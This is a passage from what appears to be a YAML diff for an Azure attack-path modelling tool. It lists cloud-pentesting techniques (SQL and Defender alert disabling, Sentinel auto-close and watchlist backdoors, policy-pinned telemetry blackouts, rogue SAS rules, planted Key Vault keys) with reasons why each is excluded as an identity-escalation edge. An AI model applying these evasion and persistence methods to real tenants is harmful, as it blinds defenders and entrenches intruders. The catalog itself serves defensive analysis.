&& Microsoft.Sql/servers/databases/write + source_revision: a66f094ede + reason: Database copy, import, export or replica operations expose or alter SQL data; the source does not gain another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasesexportaction + technique: Microsoft.Sql/servers/databases/export/action + source_revision: a66f094ede + reason: Database copy, import, export or replica operations expose or alter SQL data; the source does not gain another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabaseswrite-createmode-secondarycopy--microsoftsqlserversfailovergroupswrite + technique: Microsoft.Sql/servers/databases/write (createMode Secondary/Copy) && Microsoft.Sql/servers/failoverGroups/write + source_revision: a66f094ede + reason: Database copy, import, export or replica operations expose or alter SQL data; the source does not gain another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasesimportaction + technique: Microsoft.Sql/servers/databases/import/action + source_revision: a66f094ede + reason: Database copy, import, export or replica operations expose or alter SQL data; the source does not gain another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasestransparentdataencryptionwrite-microsoftsqllocationstransparentdataencryptionazureasyncoperationread-microsoftsqlserversdatabasestransparentdataencryptionread + technique: Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, + Microsoft.Sql/servers/databases/transparentDataEncryption/read + source_revision: a66f094ede + reason: Toggle TDE per database. The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversauditingsettingsread--microsoftsqlserversauditingsettingswrite + technique: Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write + source_revision: a66f094ede + reason: Disable or reconfigure SQL auditing → blind the primary data-plane detection control before running queries, exfiltrating + or tampering with data (defense evasion). The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversadvancedthreatprotectionsettingswrite--microsoftsqlserverssecurityalertpolicieswrite + technique: Microsoft.Sql/servers/advancedThreatProtectionSettings/write && Microsoft.Sql/servers/securityAlertPolicies/write + source_revision: a66f094ede + reason: disable Microsoft Defender for SQL / Advanced Threat Protection — the behavioural anomaly and threat-alert layer (SQL injection, + anomalous login, potential data-exfiltration alerts). The section does not establish control of another Azure/Entra principal from + this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserversdatabasesledgerdigestuploadsdisableaction-microsoftsqllocationsledgerdigestuploadsazureasyncoperationread-microsoftsqllocationsledgerdigestuploadsoperationresultsread + technique: Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, + Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read + source_revision: a66f094ede + reason: Disable automatic ledger digest uploads → stop the tamper-evidence anchor from being published, so subsequent modifications + to ledger tables can no longer be cryptographically proven/verified (defeats. The section does not establish control of another + Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserverselasticpoolswrite--microsoftsqlserverselasticpoolsread + technique: Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read + source_revision: a66f094ede + reason: Create/resize elastic pools and move databases in/out → resource and cost manipulation, and potential noisy-neighbor DoS by + starving pooled databases of DTU/vCore. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md#microsoftsqlserverskeyswrite--microsoftsqlserverskeysread + technique: Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read + source_revision: a66f094ede + reason: Registering a SQL TDE key enables a key-revocation outage; it does not produce another principal's token or role. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md#microsoftstoragestorageaccountstableservicestablesread--microsoftstoragestorageaccountstableservicestablesentitiesread + technique: Microsoft.Storage/storageAccounts/tableServices/tables/read | Microsoft.Storage/storageAccounts/tableServices/tables/entities/read + source_revision: a66f094ede + reason: Enumerate tables and read their entities → exfiltrate whatever they store (often config, tokens, PII, application state). + The section does not establish control of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md#microsoftstoragestorageaccountstableservicestablesentitieswrite--microsoftstoragestorageaccountstableservicestablesentitiesaddaction--microsoftstoragestorageaccountstableservicestablesentitiesupdateaction + technique: Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action + | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action + source_revision: a66f094ede + reason: Table entity writes can change application authorization data only when a specific application trusts those fields; no Azure/Entra + principal or consumer binding is identified. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md#microsoftstoragestorageaccountstableservicestablesentitiesdelete + technique: Microsoft.Storage/storageAccounts/tableServices/tables/entities/delete + source_revision: a66f094ede + reason: 'Destructive: delete table entities → data loss and disruption of applications that depend on the removed rows. The section + does not establish control of another Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#code-injection-via-microsoftwebsites-write-operations + technique: Code injection via Microsoft.Web/sites/ write operations + source_revision: a66f094ede + reason: This parent section explains config/write code execution; azure-appservice-config-write-code-execution and related App Service + entries model its concrete permission variants. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountspython3packageswrite-microsoftautomationautomationaccountsrunbookswrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsrunbookspublishaction-microsoftautomationautomationaccountsjobswrite + technique: Microsoft.Automation/automationAccounts/python3Packages/write, Microsoft.Automation/automationAccounts/runbooks/write, + Microsoft.Automation/automationAccounts/runbooks/draft/content/write, Microsoft.Automation/automationAccounts/runbooks/publish/action, + Microsoft.Automation/automationAccounts/jobs/write + source_revision: a66f094ede + reason: The package/module write executes through an importing runbook. The dependency-only permission is modelled by azure-automation-poison-module-or-package; + authoring and starting a new runbook is modelled by azure-automation-runbook-author-and-run. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsmoduleswrite-microsoftautomationautomationaccountsrunbookswrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsrunbookspublishaction-microsoftautomationautomationaccountsjobswrite + technique: Microsoft.Automation/automationAccounts/modules/write, Microsoft.Automation/automationAccounts/runbooks/write, Microsoft.Automation/automationAccounts/runbooks/draft/content/write, + Microsoft.Automation/automationAccounts/runbooks/publish/action, Microsoft.Automation/automationAccounts/jobs/write + source_revision: a66f094ede + reason: The package/module write executes through an importing runbook. The dependency-only permission is modelled by azure-automation-poison-module-or-package; + authoring and starting a new runbook is modelled by azure-automation-runbook-author-and-run. +- source: src/pentesting-cloud/azure-security/az-enumeration-tools.md#azure-resource-graph-quiet-cross-subscription-inventory + technique: 'Azure Resource Graph: quiet cross-subscription inventory' + source_revision: a66f094ede + reason: 'Minimum permissions: Microsoft.ResourceGraph/resources/read (isDataAction=false) — effectively granted by every reader-class + role. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/README.md#applications-and-service-principals + technique: Applications and Service Principals + source_revision: a66f094ede + reason: Documented application-credential injection is already covered by azure-entraid-app-credentials-update + and azure-entraid-app-owner-credentials in azure/entraid_apps.yaml (Graph Application.ReadWrite.All by azure-entraid-graph-application-readwrite-all). + This source is a persistence summary, not a separate permission-to-principal path. +- source: src/pentesting-cloud/azure-security/az-persistence/az-analysis-services-persistence.md#data-model-role-tampering-for-persistence + technique: Data-model role tampering for persistence + source_revision: a66f094ede + reason: TMSL/XMLA can add a model Read or Admin member that remains after server-admin removal. This is a new + native model authorization, but the catalog has no source entitlement for Analysis Services server-admin data-plane + access or model-role membership snapshot; servers/write does not by itself prove the data-plane command occurred. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#backdoor-an-existing-runbook + technique: Backdoor an existing runbook + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#malware-on-a-vm-in-a-hybrid-runbook-worker-group + technique: Malware on a VM in a Hybrid Runbook Worker group + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#compromise-external-repositories + technique: Compromise external repositories + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#watcher-tasks-sub-schedule-floor-recurring-execution + technique: 'Watcher tasks: sub-schedule-floor recurring execution' + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md#schedules-and-webhooks + technique: Schedules and webhooks + source_revision: a66f094ede + reason: Automation runbook execution, dependency poisoning, source-control import and trigger paths are modelled by their corresponding + entries in automation.yaml; this section describes their persistent timing or source. +- source: src/pentesting-cloud/azure-security/az-persistence/az-batch-persistence.md#interactive-admin-persistence-via-compute-node-user--remote-login-data-plane + technique: Interactive admin persistence via compute-node user + remote login (data-plane) + source_revision: a66f094ede + reason: This creates a local administrator login on a Batch compute node; Azure/Entra identity gain requires an attached managed identity + and is modelled by the Batch node execution entries. +- source: src/pentesting-cloud/azure-security/az-persistence/az-data-explorer-persistence.md#data-plane-add-databasecluster-admins--persistence-that-evades-arm-review + technique: Data-plane .add database/cluster admins — persistence that evades ARM review + source_revision: a66f094ede + reason: The .add control command can create durable Kusto-native database or cluster admin membership. ARM principalAssignments/write + and AddPrincipals/action entries use different permissions; neither proves existing data-plane Admin entitlement + or a native membership change, which require a Kusto data-plane inventory. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#permanent-suppression-rule-scoped-to-your-source + technique: Permanent suppression rule scoped to your source + source_revision: a66f094ede + reason: A rule with no expirationDateUtc lives until deleted and creates matching alerts already-Dismissed forever — never emailed, + exported, or sent to Sentinel; scope to an attribute you control long-term (egress CIDR, a…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#auto-provisioning-off--born-blind-new-resources + technique: Auto-provisioning off — born-blind new resources + source_revision: a66f094ede + reason: Future VMs never receive the MDE / Azure Monitor agent, so any infrastructure deployed later is uninstrumented from creation + with no per-host tampering. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#continuous-export-gap + technique: Continuous-export gap + source_revision: a66f094ede + reason: Narrow (rather than delete) a continuous-export automation's scopes/sources to exclude your RG or alert types; alerts still + show in the portal (nothing looks broken) but never reach the SIEM. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#silenced-notifications + technique: Silenced notifications + source_revision: a66f094ede + reason: Set alertNotifications.minimalSeverity to High and turn role notifications off, so Medium/Low alerts about your activity generate + but never page anyone. The section documents data access, data integrity, availability, network reachability or detection changes, + without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-defender-for-cloud-persistence.md#plan-downgrade-held-in-place-by-azure-policy + technique: Plan downgrade held in place by Azure Policy + source_revision: a66f094ede + reason: Pin a plan on Free (or the per-account Defender-for-Storage opt-out) with an Azure Policy that re-asserts it whenever posture + management tries to re-enable it — the blindness self-heals and looks like governance. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-deployment-stacks-persistence.md#deny-settings-lockout-without-denyassignmentswrite-anti-remediation-persistence + technique: Deny-settings lockout without denyAssignments/write (anti-remediation persistence) + source_revision: a66f094ede + reason: create a stack with denySettingsMode = denyWriteAndDelete (optionally denySettingsApplyToChildScopes) over managed resources. + The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-devtest-labs-persistence.md#malicious-artifact-source-supply-chain-into-the-lab + technique: Malicious artifact source (supply-chain into the lab) + source_revision: a66f094ede + reason: registers an arbitrary attacker-controlled Git repo (GitHub / Azure Repos, authenticated by a PAT or the lab MI) as an artifact + source. The section documents data access, data integrity, availability, network reachability or detection changes, without an identified + Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-protection-persistence.md#standing-risk-dismissal-and-allow-listing + technique: Standing risk dismissal and allow-listing + source_revision: a66f094ede + reason: 'Keeps a compromised identity permanently ''not risky'': a retained token with the risky-user write scope dismisses risk whenever + it appears, and defining the operator egress range as a trusted named location makes that…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-protection-persistence.md#exclude-a-controlled-principal-from-risk-based-conditional-access + technique: Exclude a controlled principal from risk-based Conditional Access + source_revision: a66f094ede + reason: Adds a controlled account/group to the excludeUsers/excludeGroups of the sign-in-risk and user-risk CA policies, or lowers + the policy risk threshold / sets it report-only, so risk is still scored but never enforced —…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-protection-persistence.md#exclude-a-controlled-principal-from-risk-remediation-requirements + technique: Exclude a controlled principal from risk remediation requirements + source_revision: a66f094ede + reason: Excludes the controlled account from a CA policy that forces risky users to self-remediate (password reset), so a stolen credential + stays usable indefinitely without ever triggering a forced reset. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entraid-persistence.md#federated-identity-credential-on-an-application + technique: Federated identity credential on an application + source_revision: 0b36331 + reason: 'Duplicate identity takeover path: adding an app FIC grants token exchange as the target application service + principal. azure-entraid-app-credentials-update covers application credential update; azure-entraid-app-owner-credentials + covers the owned app route, including app-only Application.ReadWrite.OwnedBy. External issuer/subject control + and matching token are runtime conditions.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-guest-configuration-persistence.md#self-healing-persistence-via-applyandautocorrect + technique: Self-healing persistence via ApplyAndAutoCorrect + source_revision: 0b36331 + reason: 'Duplicate of azure-guestconfiguration-assignment-write and azure-guestconfiguration-assignment-write-arc: + the same assignment write runs attacker package code as SYSTEM/root; on a VM or Arc host with an attached managed + identity, it can read that identity token. ApplyAndAutoCorrect repeats the same edge after drift.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#retain-restorable-object-backups + technique: Retain restorable object backups + source_revision: 0b36331 + reason: A backup blob is encrypted and restorable only in the same subscription and Azure geography. An identity + edge needs later restore, permission to read the restored value, proof the backed-up secret or certificate contains + an SP credential, and proof it remains valid. Those content and future-operation facts are unavailable in a + read-only snapshot; backup/action alone is not secret read. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#plant-attacker-known-key-material-with-keysimport-or-keyscreate + technique: Plant attacker-known key material with keys/import (or keys/create) + source_revision: a66f094ede + reason: Durable ability to reproduce, outside Azure, any cryptographic operation performed with a "vault-protected" key. The section + documents data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra + principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#mint-a-new-exportable-certificate-for-appsp-credential-persistence-certificatescreate + technique: Mint a new exportable certificate for app/SP credential persistence (certificates/create) + source_revision: a66f094ede + reason: This persists Key Vault data-plane or certificate access; service-principal credential takeover requires the application credential + update or backing-secret read modelled in entraid_apps.yaml and key_vault.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#resurrect-a-soft-deleted-vault-under-attacker-controlled-access-createmoderecover + technique: Resurrect a soft-deleted vault under attacker-controlled access (createMode=recover) + source_revision: a66f094ede + reason: Recovery depends on a previously soft-deleted vault and attacker-readable secret contents; deleted-vault inventory is not + collected, so no deterministic target principal exists. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#backdoor-a-data-plane-principal + technique: Backdoor a data-plane principal + source_revision: a66f094ede + reason: This persists Key Vault data-plane or certificate access; service-principal credential takeover requires the application credential + update or backing-secret read modelled in entraid_apps.yaml and key_vault.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#managed-hsm-local-rbac + technique: Managed HSM local RBAC + source_revision: a66f094ede + reason: Managed HSM has its own local RBAC plane that is completely separate from Azure RBAC. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-key-vault-persistence.md#event-grid-notification-for-new-secret-versions + technique: Event Grid notification for new secret versions + source_revision: a66f094ede + reason: A durable, out-of-band feed telling the attacker the instant a credential is rotated, including the secret name and the new + version ID. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#re-arm-the-built-in-cluster-admin--attacker-entra-admin-group-managedclusterswrite + technique: Re-arm the built-in cluster admin / attacker Entra admin group (managedClusters/write) + source_revision: a66f094ede + reason: Re-enabling AKS local admin or changing its admin group is modelled by the AKS managedClusters/write cluster-admin entries + in kubernetes.yaml. +- source: src/pentesting-cloud/azure-security/az-persistence/az-log-analytics-persistence.md#table-plan-downgrade-held-in-place-by-policy + technique: Table plan downgrade held in place by Policy + source_revision: a66f094ede + reason: pin a table plan downgrade (Analytics -> Basic) with a DINE/Modify policy that re-asserts Basic on the target table, so the + scheduled analytics rules stay dead and any revert self-heals. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-log-analytics-persistence.md#diagnostic-setting--connector-gap-that-self-heals + technique: Diagnostic-setting / connector gap that self-heals + source_revision: a66f094ede + reason: remove the target's diagnostic setting / DCR association / Sentinel connector so telemetry never reaches the workspace, and + pin the removal with Azure Policy so recreation is denied or reverted — the most complete,…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-log-analytics-persistence.md#retention-floor + technique: Retention floor + source_revision: a66f094ede + reason: durably cap workspace/table retention and disable archive so future investigations cannot reach back — every day ages out + more of your activity; framed as a cost measure, it is rarely reverted. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-log-analytics-persistence.md#shared-key-ingestion-channel + technique: Shared-key ingestion channel + source_revision: a66f094ede + reason: a retained shared key is a long-lived Data Collector API credential to inject logs independent of Azure RBAC — survives loss + of your control-plane/RBAC access until the key is rotated. The section documents data access, data integrity, availability, network + reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-logic-apps-persistence.md#workflow-access-context + technique: Workflow access context + source_revision: a66f094ede + reason: The backdoored workflow identity path is modelled by the Logic Apps workflow-write entries; the section summarizes retained + callbacks and workflow triggers. +- source: src/pentesting-cloud/azure-security/az-persistence/az-managed-applications-persistence.md#standing--cross-tenant-hidden-access-via-authorizations + technique: Standing / cross-tenant hidden access via authorizations + source_revision: 0b36331 + reason: The authorizations can grant a controlled principal Owner or Contributor on the managed resource group + without roleAssignments/write. This is a real new MRG-scoped RBAC grant; see proposed azure-managedapp-authorizations-mrg-rbac. + A generic edge needs a collector/evaluator join from definition authorizations and application creation to the + actual MRG, principal, role and tenant. +- source: src/pentesting-cloud/azure-security/az-persistence/az-managed-applications-persistence.md#jit-jitrequests-eligible-role-access + technique: JIT (jitRequests) eligible-role access + source_revision: 0b36331 + reason: JIT activation can grant an eligible principal a temporary elevated role on the managed resource group. + It requires the configured jitAccessPolicy, source eligibility, any consumer approval and an active grant window; + see proposed azure-managedapp-jit-mrg-role-activation. The current inventory cannot establish these facts. +- source: src/pentesting-cloud/azure-security/az-persistence/az-managed-applications-persistence.md#deny-assignment-shielding-of-attacker-resources + technique: Deny-assignment shielding of attacker resources + source_revision: a66f094ede + reason: resources planted inside the MRG (a backdoor VM, automation, an identity) are protected by the auto-created deny assignment, + and deny assignments take precedence over allow role assignments — even a subscription…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-monitor-persistence.md#durable-telemetry-blindness + technique: Durable telemetry blindness + source_revision: a66f094ede + reason: 'Self-sustaining monitoring blind spots: a removed DCR association keeps a host un-monitored until someone notices that one + machine stopped reporting; a Deny Azure Policy on the diagnostic-setting write prevents the…. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-monitor-persistence.md#autoscale-as-a-scheduler + technique: Autoscale as a scheduler + source_revision: a66f094ede + reason: 'An autoscale setting on a recurring schedule that changes capacity becomes a crude cron: combined with a custom-script / + VM extension deployment on scale-out, it re-provisions attacker workloads periodically. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-notification-hubs-persistence.md#rogue-sas-rule-persistence-with-authorizationruleswrite + technique: Rogue SAS-rule persistence with authorizationRules/write + source_revision: a66f094ede + reason: 'persistence: create an attacker-named authorization rule with Manage+Listen+Send, then list its keys. The section documents + data access, data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal + whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-policy-persistence.md#self-healing-configuration-backdoors + technique: Self-healing configuration backdoors + source_revision: a66f094ede + reason: DINE policy re-installs footholds on every in-scope and future resource — a VM custom-script/extension (agent reinstall on + new/rebuilt VMs), an NSG egress rule, or a held diagnostic-setting removal to keep telemetry cut. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-policy-persistence.md#deny-based-lockout--anti-remediation + technique: Deny-based lockout / anti-remediation + source_revision: a66f094ede + reason: a Deny policy blocks defenders from fixing things — deny recreation of a diagnostic setting you deleted or modification of + a resource you control, so remediation attempts fail and protect your other changes. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-policy-persistence.md#self-healing-role-grant-the-headline-technique + technique: Self-healing role grant (the headline technique) + source_revision: a66f094ede + reason: A remediation policy that recreates an RBAC grant is covered by the policy-assignment managed-identity and role-assignment + entries; this heading describes persistence of that grant. +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#self-service-access-workflow-auto-approval + technique: Self-service-access workflow auto-approval + source_revision: a66f094ede + reason: Purview Workflows drive approvals for self-service data access and glossary/term changes. The section documents data access, + data integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#blindness-that-self-sustains + technique: Blindness that self-sustains + source_revision: a66f094ede + reason: Paused scans / narrowed scope keep freshly staged or exfiltrated data unclassified indefinitely, so it never surfaces on sensitivity + dashboards or Defender attack paths; a benign-looking schedule makes the gap look…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#long-lived-event-hubs-channel-via-listkeys + technique: Long-lived Event Hubs channel via listkeys + source_revision: a66f094ede + reason: Retained Event Hubs connection strings (atlashook, atlasentities) provide a durable send/receive channel into Purview's metadata + pipeline that keeps working until the namespace keys are rotated — independent of your…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-relay-persistence.md#rogue-sas-rule-persistence-with-authorizationruleswrite + technique: Rogue SAS-rule persistence with authorizationRules/write + source_revision: a66f094ede + reason: 'persistence: create an attacker-named rule with Listen+Send+Manage at namespace, hybrid-connection, or WCF-relay scope, then + list its key. The section documents data access, data integrity, availability, network reachability or detection changes, without + an identified Azure/Entra principal whose permissions are gained.' +- source: src/pentesting-cloud/azure-security/az-persistence/az-relay-persistence.md#unauthenticated-tunnel-with-hybridconnectionswrite + technique: Unauthenticated tunnel with HybridConnections/write + source_revision: a66f094ede + reason: create/modify a hybrid connection. The section documents data access, data integrity, availability, network reachability or + detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sentinel-persistence.md#standing-auto-close-automation-rule + technique: Standing auto-close automation rule + source_revision: a66f094ede + reason: A durable automation rule that runs on incident creation and closes anything matching a stable attribute you control (SP object + id, egress IP, host) as BenignPositive — detections keep firing so nothing looks…. The section documents data access, data integrity, + availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sentinel-persistence.md#analytics-rule-tampering-that-survives-review + technique: Analytics-rule tampering that survives review + source_revision: a66f094ede + reason: Embed a | where != "" exclusion in a busy built-in rule's KQL, or widen its incident grouping / suppressionDuration, so your + activity is permanently filtered/folded away without disabling anything — designed to…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sentinel-persistence.md#watchlist-as-an-allow-list-backdoor + technique: Watchlist as an allow-list backdoor + source_revision: a66f094ede + reason: Add your identity/IP to an 'authorised admins' or 'known infrastructure' watchlist; every rule that joins that watchlist then + treats you as trusted — a durable allow-list backdoor that touches no rule. The section documents data access, data integrity, availability, + network reachability or detection changes, without an identified Azure/Entra principal whose permissions are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sentinel-persistence.md#connector--ingestion-gap-held-in-place + technique: Connector / ingestion gap held in place + source_revision: a66f094ede + reason: A deleted data connector is reversible by an admin, so pin the underlying diagnostic-setting removal or table-plan downgrade + with Azure Policy so it re-applies after remediation — a durable telemetry blackout that…. The section documents data access, data + integrity, availability, network reachability or detection changes, without an identified Azure/Entra principal whose permissions + are gained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md#self-minted-sas-authorization-rule-entra-independent-bearer-credential + technique: Self-minted SAS authorization rule (Entra-independent bearer credential) + source_revision: a66f094ede + reason: This persists a SAS rule or message copy. Message injection into a privileged Service Bus consumer is modelled by azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-persistence/az-servicebus-persistence.md#durable-copy-through-a-new-topic-subscription + technique: Durable copy through a new topic subscription + source_revision: a66f094ede + reason: This persists a SAS rule or message copy. Message injection into a privileged Service Bus consumer is modelled by azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md#database-access-context + technique: Database access context + source_revision: a66f094ede + reason: This heading summarizes existing SQL login and Entra-admin persistence. SQL server administrator assignment is modelled in + databases.yaml; retaining a SQL-only login does not impersonate Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#retain-storage-account-access-keys + technique: Retain storage account access keys + source_revision: a66f094ede + reason: This creates or retains a Storage bearer credential for data-plane access. Blob/queue poisoning through that credential is + modelled in consumer_poisoning.yaml; the credential does not impersonate an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#long-lived-sas-tokens + technique: Long-lived SAS tokens + source_revision: a66f094ede + reason: This creates or retains a Storage bearer credential for data-plane access. Blob/queue poisoning through that credential is + modelled in consumer_poisoning.yaml; the credential does not impersonate an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#sftp-local-users-a-credential-outside-entra-id + technique: 'SFTP local users: a credential outside Entra ID' + source_revision: a66f094ede + reason: This creates or retains a Storage bearer credential for data-plane access. Blob/queue poisoning through that credential is + modelled in consumer_poisoning.yaml; the credential does not impersonate an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md#stored-access-policy-backdoor-re-mintable-expiry-less-sas + technique: Stored access policy backdoor (re-mintable, expiry-less SAS) + source_revision: a66f094ede + reason: This creates or retains a Storage bearer credential for data-plane access. Blob/queue poisoning through that credential is + modelled in consumer_poisoning.yaml; the credential does not impersonate an Azure/Entra principal. +- source: 